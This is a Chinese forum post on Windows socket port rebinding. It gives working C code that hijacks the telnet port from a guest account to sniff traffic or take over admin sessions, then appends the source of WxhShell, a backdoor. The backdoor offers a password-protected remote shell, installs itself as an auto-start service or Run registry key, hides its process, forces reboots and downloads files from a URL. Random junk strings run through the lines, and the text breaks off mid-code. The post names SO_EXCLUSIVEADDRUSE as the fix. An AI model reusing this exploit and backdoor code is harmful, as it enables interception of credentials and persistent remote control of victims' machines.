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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u(W+hdTap=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |9'`;4W  
kfj)`x  
  saddr.sin_family = AF_INET; z}z 6Vg  
T0TgV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~H4wsa39  
o!@}&DE|*L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h'm-]v  
E>I\m!ue  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0* ^>/*  
EJ@&vuDd$  
  这意味着什么?意味着可以进行如下的攻击: O3KTKL]  
9Rd& Jq^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {'@`: p&3r  
a2%xW_e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M)6iYA%$  
B9(@ .  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kWMz;{I5*w  
l' mdj!{&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YM r2|VEU[  
 ,7h0y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j[Q9_0R~lR  
R(AS$<p{!>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h ]6: `5-  
J5Ovj,[EZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y!qn[,q8  
m- u0U  
  #include slTE.  
  #include XT%\Ce!  
  #include r\T'_wo  
  #include    pt$\pQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nr]:Y3KyxX  
  int main() sOqT*gwr:  
  { (|9t+KP  
  WORD wVersionRequested; G$mAyK:  
  DWORD ret; /P%OXn$i/  
  WSADATA wsaData; O;lGh1.  
  BOOL val; w&[&ZDsK  
  SOCKADDR_IN saddr; ISHzlEY  
  SOCKADDR_IN scaddr; W"n0x8~sV  
  int err; <q.Q,_cW  
  SOCKET s; ?>/9ae^Bw  
  SOCKET sc; >r\q6f#J4  
  int caddsize; `F`{s`E)  
  HANDLE mt; ? FlQ\q  
  DWORD tid;   Q].p/-[(  
  wVersionRequested = MAKEWORD( 2, 2 ); of=N+ W  
  err = WSAStartup( wVersionRequested, &wsaData ); Mj6 0?k  
  if ( err != 0 ) { U!i1~)s  
  printf("error!WSAStartup failed!\n"); ]_(J8v  
  return -1; uL{CUt  
  }  35%\"Y?  
  saddr.sin_family = AF_INET; iY*fp=c9  
   Y*/e;mG.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LU $=j  
b.j$Gna>Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dym K@  
  saddr.sin_port = htons(23); }0V aZ<j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4w5);x.  
  { #w@V!o  
  printf("error!socket failed!\n"); M;LR$'cP  
  return -1; `0, G' F  
  } t>! Ok  
  val = TRUE; 46##(4RF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tj4/x7!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3O*^[$vM  
  { &u2H^ j  
  printf("error!setsockopt failed!\n"); x n=#4:f  
  return -1; %uw7sGz\  
  } &WNIL13DK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fE"-W{M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _#K?yP?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hVIv->  
=m;,?("7t3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $0Ys{m  
  { \`;1[m  
  ret=GetLastError(); ;,/4Ry22j-  
  printf("error!bind failed!\n"); 0^vz /y1c  
  return -1; Lpohc4d[V  
  } *,|x p  
  listen(s,2); zY9CoadZ  
  while(1) zygH-3C7o  
  { f?$yxMw:@  
  caddsize = sizeof(scaddr); 9ZNzC i!  
  //接受连接请求 &=]!8z=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :nOI|\ rC  
  if(sc!=INVALID_SOCKET) [,3E#+y  
  { q|V|Jl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {)(Mkm +d  
  if(mt==NULL) Re+oCJ  
  { ,_ TE@ ]!$  
  printf("Thread Creat Failed!\n"); 6 2#@Y-5  
  break; L*OG2liJ  
  } bFhZSk )  
  } "U!Vdt2vp  
  CloseHandle(mt); =~k}XB  
  } #(QS5J&Qq  
  closesocket(s); +Sc2'z>R  
  WSACleanup(); NL,6<ZOon,  
  return 0; _Q'f^Kj  
  }   xR8y"CpE  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~ mzX1[  
  { =h xyR;  
  SOCKET ss = (SOCKET)lpParam; #jJ0Mxg  
  SOCKET sc; ZUD{V  
  unsigned char buf[4096]; P?^%i  
  SOCKADDR_IN saddr; =ld!=II  
  long num; $_3 )m  
  DWORD val; 6"?#E[ #[  
  DWORD ret; !jf!\Uu[U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ep4?;Qmho  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W[R`],x`  
  saddr.sin_family = AF_INET; WcQkeh3n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Po&'#TC1  
  saddr.sin_port = htons(23); YYL3a=;`a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E 6+ ooB[  
  { P%ThW9^vnj  
  printf("error!socket failed!\n"); >;lrH&  
  return -1; -24ccN;  
  } P_5G'[  
  val = 100; Cn0s?3Fm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YC$>D? FW  
  { K4 -_a{)/  
  ret = GetLastError(); (|#%omLL  
  return -1; MV w.Fl  
  } R13V }yL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U&43/;<,  
  { X"vDFE`?  
  ret = GetLastError(); I:w+lchAMe  
  return -1; 1_TniR3z1  
  } hYh~%^0dt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S=W^iA6>  
  { 1/,~0N9  
  printf("error!socket connect failed!\n"); L)8%*X  
  closesocket(sc); EEMRy  
  closesocket(ss); E62_k 0q  
  return -1; ;O|u`fAqT  
  } Rn`DUYg  
  while(1) OsW*@v(  
  { 8 &v)Vi-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d,o*{sM5d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7kITssVHI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )?I*zc  
  num = recv(ss,buf,4096,0); c[T@lz(!  
  if(num>0) cltx(C>   
  send(sc,buf,num,0); c$lZ\r"  
  else if(num==0) mN> (n+ly  
  break; .s?^y+e_  
  num = recv(sc,buf,4096,0); *CbV/j"P?  
  if(num>0) _h`4`r  
  send(ss,buf,num,0); Ms5R7<O.7  
  else if(num==0) _ 2)QL  
  break; 0fLd7*1>  
  } -knP5"TB  
  closesocket(ss); CMyz!jZ3  
  closesocket(sc); K"hnGYt?  
  return 0 ; +=d=  
  } 11 k}Ly  
B~M6l7^?  
=p7id5"  
========================================================== 2G<XA  
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下边附上一个代码,,WXhSHELL LM 1Vsh<  
.;S1HOHz4  
========================================================== tK?XU9o  
[>U2!4=$M  
#include "stdafx.h" yY*(!^S  
kZ]pV=\Y*  
#include <stdio.h> ;@:-T/=  
#include <string.h> So75h*e  
#include <windows.h> 4?+jvVq  
#include <winsock2.h> aL&9.L|1 g  
#include <winsvc.h> NTO.;S|2%  
#include <urlmon.h> ]>ndFE6kl  
#_|O93HN'  
#pragma comment (lib, "Ws2_32.lib") g_! xD;0  
#pragma comment (lib, "urlmon.lib") )]LP8 J&  
5iI(A'R[7  
#define MAX_USER   100 // 最大客户端连接数 j,SZJ{ebXg  
#define BUF_SOCK   200 // sock buffer yqtaQ0F~  
#define KEY_BUFF   255 // 输入 buffer gIIF17|Z  
7TU xdI  
#define REBOOT     0   // 重启 1 .[OS  
#define SHUTDOWN   1   // 关机 1*'gaa&y  
9g'6zB  
#define DEF_PORT   5000 // 监听端口 (i?9/8I  
BjfTt:kY  
#define REG_LEN     16   // 注册表键长度 |7Ab_  
#define SVC_LEN     80   // NT服务名长度 9]lyV  
A_e5Vb ,u.  
// 从dll定义API EcSu[b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (uy\~Zb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &Nw|(z&$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bE@Eiac  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XX "3.zW  
Sqyju3Yp  
// wxhshell配置信息 Eau V  
struct WSCFG { +?[s"(  
  int ws_port;         // 监听端口 xP;>p| M  
  char ws_passstr[REG_LEN]; // 口令 C N}0( 2n  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?A24h !7  
  char ws_regname[REG_LEN]; // 注册表键名 F\ GNLi  
  char ws_svcname[REG_LEN]; // 服务名 Y*O Bky  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B52dZb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d0f(Uk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &Vu-*?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PfB9 .f{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *~*"p)`<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |5&7;;$  
tfh`gUV 4  
}; *UXa.kT@  
`s3:Vsv4  
// default Wxhshell configuration !&`\MD>;~R  
struct WSCFG wscfg={DEF_PORT, l<<9H-O  
    "xuhuanlingzhe", /[ft{:#&t  
    1, "`%UC#  
    "Wxhshell", hN\sC9a1  
    "Wxhshell", dTlEEgR  
            "WxhShell Service", DRTT3;,N  
    "Wrsky Windows CmdShell Service", TZ3gJ6 Cb  
    "Please Input Your Password: ", {*r!oD!'  
  1, J!dv"Ww"  
  "http://www.wrsky.com/wxhshell.exe", rusYNb1J  
  "Wxhshell.exe" ,2i1 4H  
    }; fY #Yn  
Fg}t{e]3a  
// 消息定义模块 ]scr@e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'A\0^EvVv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O*B9 Bah  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Snp(&TD<<  
char *msg_ws_ext="\n\rExit."; ~V?\@R:g  
char *msg_ws_end="\n\rQuit."; x9 n(3Oa  
char *msg_ws_boot="\n\rReboot..."; - DYH>!  
char *msg_ws_poff="\n\rShutdown..."; vQy<%[QO  
char *msg_ws_down="\n\rSave to "; }w2Et  
+_gA"I  
char *msg_ws_err="\n\rErr!"; gS`Z>+V5!c  
char *msg_ws_ok="\n\rOK!"; G `B=:s]  
-/*VR$c  
char ExeFile[MAX_PATH]; $2blF)uYE  
int nUser = 0; ZP&iy$<L  
HANDLE handles[MAX_USER]; =NnG[#n%  
int OsIsNt; sJl>evw  
Z:V<P,N  
SERVICE_STATUS       serviceStatus; $ 9E"{6;@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ER@RWV 2  
*P5/S8c  
// 函数声明 {a9.0N:4  
int Install(void); >Rb jdM5K4  
int Uninstall(void); 0dI7{o;<|  
int DownloadFile(char *sURL, SOCKET wsh); ,OP\^  
int Boot(int flag); "?W8 o[c+  
void HideProc(void); !x||ObW\H  
int GetOsVer(void); )nK+`{;@!  
int Wxhshell(SOCKET wsl); 1=!2|D:C)i  
void TalkWithClient(void *cs); 9>vB,8  
int CmdShell(SOCKET sock); &Fjyi"8(r  
int StartFromService(void); : t75iB=  
int StartWxhshell(LPSTR lpCmdLine); bxBndxl  
7 n^1H[q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cS@p`A7Tpo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8493O x4 O  
i=pfjC  
// 数据结构和表定义 </SO#g^r<  
SERVICE_TABLE_ENTRY DispatchTable[] = kE!ky\E  
{ +%~me?  
{wscfg.ws_svcname, NTServiceMain}, $?VYHkX  
{NULL, NULL} qLKL*m  
}; #SjCKQ~  
nrXKS&6  
// 自我安装 "GJ.`Hj  
int Install(void) YB^m!A),I[  
{ ~XvMiWuo  
  char svExeFile[MAX_PATH]; "-AFWWKtx  
  HKEY key; 1|>bG#|  
  strcpy(svExeFile,ExeFile); f 9IqcCSW  
Gc5mR9pV   
// 如果是win9x系统,修改注册表设为自启动 g?Rq .py]!  
if(!OsIsNt) { MU:v& sk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h gwS_L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Bk`3~]E>  
  RegCloseKey(key); EQM[!g^a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 98 uMD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w_LkS/  
  RegCloseKey(key); #G?",,&dM  
  return 0; #T`1Z"h<  
    } _G/uDP%  
  } +@7c:CAy(  
} u09D`QPP]  
else { +>c%I&h}`  
+#A~O4%t  
// 如果是NT以上系统,安装为系统服务 /len8FRf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); beV+3HqB8  
if (schSCManager!=0) DiZv sc  
{ *TCV}=V G  
  SC_HANDLE schService = CreateService <KStl fX  
  ( d`j<Bbf-  
  schSCManager, +apn3\_  
  wscfg.ws_svcname, 1}p :]/;  
  wscfg.ws_svcdisp, 5>=4$!`  
  SERVICE_ALL_ACCESS, r/0AM}[!*j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qNMYZ0,  
  SERVICE_AUTO_START, $?LegX  
  SERVICE_ERROR_NORMAL, [[Nn~7  
  svExeFile, tn(6T^u  
  NULL, kK0zb{  
  NULL, 9'|_1Q.b^  
  NULL, J%!vhQ  
  NULL, ') 2LP;(  
  NULL q%)."10}]  
  ); vAOThj)  
  if (schService!=0) =vDDfPR  
  { -KG1"g,2  
  CloseServiceHandle(schService); #H5 +8W  
  CloseServiceHandle(schSCManager); 77]lp mC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tZ*>S]qD  
  strcat(svExeFile,wscfg.ws_svcname); o0dD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (&_^1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {7 ](-  
  RegCloseKey(key); g"g3|$#Ej|  
  return 0; whGtVx|zR  
    } SK*<H~2  
  } X2P8Zq=%a  
  CloseServiceHandle(schSCManager); ldRq:M5z  
} 9c5DEq  
} &k`lb kq  
EYn9l n_]u  
return 1; v`@N R06  
} ws U@hqS  
n S Vr,wU  
// 自我卸载 J$`5KbT3  
int Uninstall(void) F& lSRL+v  
{ q!Z{qt*`um  
  HKEY key; u_o] \D~  
tCu.Fc@  
if(!OsIsNt) { y7'9KQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uNqN &7g  
  RegDeleteValue(key,wscfg.ws_regname); wawJZ+V  
  RegCloseKey(key); TpHzf3.I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p>+Q6o9O  
  RegDeleteValue(key,wscfg.ws_regname); Ksk[sf?J&  
  RegCloseKey(key); F9r|EU#;  
  return 0; 'S9jMyZrZ  
  } %"|W qxv  
} sn'E}.uhXH  
} }"/>,  
else { "wxyY^"  
H5CL0#I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H#T&7X_<  
if (schSCManager!=0) WP^wNi ~>  
{ xF 3Z>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $j4/ohwTDY  
  if (schService!=0) &,\my-4c>  
  { wzY{ii  
  if(DeleteService(schService)!=0) { EK\xc'6M  
  CloseServiceHandle(schService); 3]7j, 1^  
  CloseServiceHandle(schSCManager); vSCJ xSt#e  
  return 0; 8LY^>.  
  } m;U_oxb  
  CloseServiceHandle(schService); C[><m2T  
  } F8\JL %  
  CloseServiceHandle(schSCManager); V~$?]Z%_  
} hdH3Jb_hl(  
} FgR9$ is+  
FB3}M)G>M  
return 1; Q0g^%  
} S2#@j#\  
aeEio;G1  
// 从指定url下载文件 R\x3'([A5  
int DownloadFile(char *sURL, SOCKET wsh) #f_.  
{ 02YmV%  
  HRESULT hr; $Xs`'>,"  
char seps[]= "/"; YmHu8H_Q  
char *token; Bt(nm> Ng  
char *file; Sb}=j;F  
char myURL[MAX_PATH]; Kv ajk~  
char myFILE[MAX_PATH]; \Y6r !D9  
6yC4rX!a  
strcpy(myURL,sURL); RQ8;_)%  
  token=strtok(myURL,seps); f7;<jj;w7  
  while(token!=NULL) #W4 "^#2  
  { T5dnj&N ]  
    file=token; 0u +_D8G  
  token=strtok(NULL,seps); ` :Oje  
  } Ian+0 ?`e  
L08lkq,  
GetCurrentDirectory(MAX_PATH,myFILE); %Vk77(  
strcat(myFILE, "\\"); WM ]eb, 8q  
strcat(myFILE, file); 8KsPAK_  
  send(wsh,myFILE,strlen(myFILE),0); NC sem  
send(wsh,"...",3,0); #1WCSLvtV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E9' 2_e  
  if(hr==S_OK) z00,Vr^m  
return 0; {=;<1PykLb  
else 4v9d& m!<  
return 1; l]~IZTC  
:*YnH&  
} n(sseQ|\  
-Q|]C{r  
// 系统电源模块 ~"8r=8|  
int Boot(int flag) 1-|aeJ  
{ mri g5{  
  HANDLE hToken; ryb81.|  
  TOKEN_PRIVILEGES tkp; F(Je$c/J|~  
N686~  
  if(OsIsNt) { 2AEVBkF;M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZzxWKIE'c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eYevj[c;  
    tkp.PrivilegeCount = 1; YdN]Tqc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gJ^taUE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~y,m7%L  
if(flag==REBOOT) { '1~;^rU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s&XL{FE  
  return 0; o.s(=iG  
} U.Y7]#P:  
else { `]a0z|2'!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,Kt51vGi  
  return 0; U/_hH*N"!  
} FuG;$';H75  
  } N*)O_Ki  
  else { NCgKWyRR  
if(flag==REBOOT) { ,;f5OUl?[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F^5\w-gLY  
  return 0; F3L+X5D.yu  
} 2UxmKp[  
else { 2rb@Md]dx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [GcW*v  
  return 0; yq[@Cw  
} by\Sq}  
} lbC,*U^  
Vlge*4q  
return 1; #aiI]'  
} X8wtdd]64  
KN>h*eze  
// win9x进程隐藏模块 <,X=M6$0n  
void HideProc(void) }y vH)q  
{ I+31:#d  
7m}fVLk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }'K-1:  
  if ( hKernel != NULL ) ,sT5TS q  
  { Y~?Z'uR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pz 0TAb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *]nk{jo2  
    FreeLibrary(hKernel); `>OKV;~{z  
  } 6Cfsh<]b  
%/qwqo`Q  
return; z[y  
} v8n^~=SH  
amQTPNI  
// 获取操作系统版本 n~0MhE0H  
int GetOsVer(void) =ADOf_n}  
{ Ejnk\8:  
  OSVERSIONINFO winfo; '8(UiB5d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C>SO d]  
  GetVersionEx(&winfo); U+C ^"[B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :}-?X\|\  
  return 1; {WQ6=wGpS  
  else vKfjP_0$  
  return 0; NK'@.=$  
} Sh?eb  
k|{ 4"4r  
// 客户端句柄模块 /_YTOSZjm  
int Wxhshell(SOCKET wsl) y|zIu I-p  
{ >]o>iOz;]  
  SOCKET wsh; Z] x6np  
  struct sockaddr_in client; mI]gDL1  
  DWORD myID; 5"X@<;H%  
%0Qq~J@Lu  
  while(nUser<MAX_USER) e1%kW1Z9  
{ %?Q&a ]  
  int nSize=sizeof(client); ^Ai QNL}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6ud<U#\b&  
  if(wsh==INVALID_SOCKET) return 1; >0uj\5h)I]  
`6;$Z)=.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]2 $T 6  
if(handles[nUser]==0) X4Pm&ol  
  closesocket(wsh); lxr;AJ(  
else j(k}NWPH  
  nUser++; `r-3"or/$  
  } $cU7)vmK`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B2|0.G|[j  
DIJmISk  
  return 0; )dh`aQ%N "  
} B< HN$/  
L&~'SC  
// 关闭 socket upX@8WxR  
void CloseIt(SOCKET wsh) c((bUjS'=Y  
{ lJdYR'/Wd  
closesocket(wsh); j; R20xf0  
nUser--; f1;@a>X  
ExitThread(0); OiS\tK?|GV  
} ?%Ww3cU+J  
e8#83|h  
// 客户端请求句柄 <XtE|LG  
void TalkWithClient(void *cs) /+8VW;4|I  
{ KY%{'"'u  
6 jm@`pYbE  
  SOCKET wsh=(SOCKET)cs; 3:xKq4?  
  char pwd[SVC_LEN]; /lh1sHgD  
  char cmd[KEY_BUFF]; WtaOf_  
char chr[1]; `j!_tE`  
int i,j; y7%SHYC p[  
9NNXj^7  
  while (nUser < MAX_USER) { i5&,Bpfo-  
uG +ZR: _  
if(wscfg.ws_passstr) { M&<qGV$A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Px9 K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ; (A-  
  //ZeroMemory(pwd,KEY_BUFF); scYqU7$%T  
      i=0; 6:6A" A  
  while(i<SVC_LEN) { YDj5+'y  
08D:2 z1z  
  // 设置超时 FSAX , Y  
  fd_set FdRead; C"%B >e  
  struct timeval TimeOut; (|rf>=B+H  
  FD_ZERO(&FdRead); /oLY\>pD  
  FD_SET(wsh,&FdRead); MLg{Y?@  
  TimeOut.tv_sec=8; %u_dxpx  
  TimeOut.tv_usec=0; kytHOn#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C'R6mz%Q?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |0?v4%g  
]61HQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T,rRE7  
  pwd=chr[0]; x5V))~Ou  
  if(chr[0]==0xd || chr[0]==0xa) { GZKYRPg  
  pwd=0; Yyr9Kj:  
  break; -A=3W3:C  
  } "v( pluN|  
  i++; V aG Qre  
    } ICr.Gwe3_  
6}!1a?X  
  // 如果是非法用户,关闭 socket aM(#J7;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P=6d<no&<  
} G_ ,9h!e  
6-0sBB9=u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )9[u*|+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )tnbl"0  
CV_M |  
while(1) { Xo] 2iQy  
`wQs$!a  
  ZeroMemory(cmd,KEY_BUFF); &1?6Q_p6c  
s=F[.X9lp  
      // 自动支持客户端 telnet标准   G6}&k[d5%  
  j=0; DwZRx@  
  while(j<KEY_BUFF) { URg;e M#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LME&qKe5  
  cmd[j]=chr[0]; 'b z&m(!  
  if(chr[0]==0xa || chr[0]==0xd) { 5]upfC6  
  cmd[j]=0; ~zG)<S"q  
  break; hayJgkZ '  
  } }!R*Q`m  
  j++; -2>s#/%  
    } o 9/,@Ri\5  
c5b }q@nH  
  // 下载文件 v9Sk\9}S  
  if(strstr(cmd,"http://")) { 32?'jRN(ue  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); / o I 4&W  
  if(DownloadFile(cmd,wsh)) /3K)$Er  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 19c_=$mV  
  else &qWB\m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  -gS9I^  
  } *hJWuMfY,  
  else { #ojuSS3  
,aGIq. *v  
    switch(cmd[0]) { m'"H1~BW  
  l>`66~+s,`  
  // 帮助 }^$1<GT  
  case '?': { Ry"4v_e9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h6^|f%\w*i  
    break; cL ~WDW/  
  } -,T!/E  
  // 安装 V,0$mBYa  
  case 'i': { Wf"GA i  
    if(Install()) OKK Ko`RN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D4|Ajeo;1  
    else /4 OmnE;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "~._G5i.  
    break; )lJAMZ 5xp  
    } 6 U[VoUU   
  // 卸载 j BBl{  
  case 'r': { -]Su+/3(,  
    if(Uninstall()) r|DIf28MIq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?Nk-cg  
    else #asi%&3pP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <tZZ]Y]  
    break; eOF *|9  
    } =b>TFB=*N  
  // 显示 wxhshell 所在路径 u)I\R\N  
  case 'p': { PpBptsb^|J  
    char svExeFile[MAX_PATH]; EPH" 5$8  
    strcpy(svExeFile,"\n\r"); P5 oS 1iu*  
      strcat(svExeFile,ExeFile); #$-?[c$>  
        send(wsh,svExeFile,strlen(svExeFile),0); oYTLC@98}  
    break; ~%g,Uypi  
    } B5vLV@>]  
  // 重启 j~K(xf  
  case 'b': { ;nQ=! .#Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z_xQ2uH$:  
    if(Boot(REBOOT)) n8=D zv0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8IQ}%|lN  
    else { :i& 9}\|,  
    closesocket(wsh); 4K~=l%l  
    ExitThread(0); Ky,upU  
    } `PL}8ydZ  
    break; N>"L2E=z$|  
    } Z_4%Oi  
  // 关机 *AW v  
